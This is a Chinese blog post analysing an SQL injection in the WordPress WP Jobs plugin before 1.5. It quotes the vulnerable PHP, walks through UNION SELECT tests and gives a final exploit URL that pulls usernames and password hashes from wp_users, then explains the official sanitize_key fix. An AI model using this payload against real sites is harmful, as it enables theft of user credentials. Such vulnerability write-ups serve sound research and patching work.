\> 本文由 \[简悦 SimpRead\](http://ksria.com/simpread/) 转码, 原文地址 \[www.cnpanda.net\](https://www.cnpanda.net/sec/21.html) WordPress Plugin WP Jobs < 1.5 - SQL Injection 问题出现在 wp-jobswpjobs\_applications,php,第 10 行到第 62 行: ``` -1, 'orderby' => 'post\_date', 'order' => 'DESC', 'post\_type' => 'job', 'post\_status' => 'publish', 'suppress\_filters' => true); $jobs = get\_posts($jb\_args); ?>
prefix; $qry = "Select \* from " . $tbl . "app\_user\_info "; if ($job\_id <> "") { $qry .= " where app\_job\_id = " . $job\_id; //直接带入SQL语句查询 } $qry .= " Order by \`app\_id\` Desc "; $users = $wpdb->get\_results($qry); $i = 1; foreach ($users as $user) { ?> ``` 漏洞的原因很简单,系统在 request jobid 后,没有进行任何转义或者过滤处理,直接简单的判断了下 job\_id 的值是否为空,然后就拼接到了 SQL 语句中,从而导致了 SQL 注入漏洞。 测试如下: > [http://localhost](http://localhost/):80/cve/wp-admin/edit.php?post\_type=job&page=WPJobsJobApps&jobid=11 > UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin ![](https://www.cnpanda.net/usr/uploads/2017/12/483721674.png) 当字段数为 6 的时候,返回特殊页面。 ![](https://www.cnpanda.net/usr/uploads/2017/12/2739148893.png) 说明字段数为 6。 可以使用 mysql 监控工具可以看到执行的 SQL 语句: ![](https://www.cnpanda.net/usr/uploads/2017/12/111042960.png) 可以看到,我们所构造的语句被拼接到 SQL 语句中执行。 尝试查看数据库版本: ![](https://www.cnpanda.net/usr/uploads/2017/12/523415778.png) 成功查询。 最终可构造的 EXP 的如下: > [http://localhost](http://localhost/):80/cve/wp-admin/edit.php?post\_type=job&page=WPJobsJobApps&jobid=11 > UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user\_nicename AS > CHAR),0x20),0x7430306c73,IFNULL(CAST(user\_pass AS > CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM > wordpress.wp\_users-- admin ![](https://www.cnpanda.net/usr/uploads/2017/12/513679875.png) 三、 修复方案 看下官方的修复方案: ![](https://www.cnpanda.net/usr/uploads/2017/12/2945577951.png) 在 1.4 的版本中: ``` -1, 'orderby' => 'post\_date', 'order' => 'DESC', 'post\_type' => 'job', 'post\_status' => 'publish', 'suppress\_filters' => true); $jobs = get\_posts($jb\_args); ?> ``` 1.5 版本中: ``` -1, 'orderby' => 'post\_date', 'order' => 'DESC', 'post\_type' => 'job', 'post\_status' => 'publish', 'suppress\_filters' => true); $jobs = get\_posts($jb\_args); ?> ``` 可以看到官方对于 jobid 加了一个 wordpress 自带函数 sanitize\_key 来过滤特殊字符,使 jobid 的参数只允许包含数字和字母,破折号和下划线,从而修复了 SQL 注入漏洞。 由于刚开学事情比较多,而且在忙学校的一个作品竞赛,所以没太多时间研究其他比较有意思的 CVE 漏洞,只是随便在 exploit-db 找了一个有 CVE 编号的进行分析。结果分析下来发现,这个 CVE 其实没什么亮点内容,也就是一个常见的注入漏洞,而且这个漏洞比较鸡肋,因为只有管理员权限才可查看 WPJobsJobApps 界面,才能进一步进行注入。不得不感叹一声,只要肯研究 CVE 真不是难事 使用微信扫描二维码完成支付 ![](https://www.cnpanda.net/usr/themes/sec/img/alipay-2.jpg)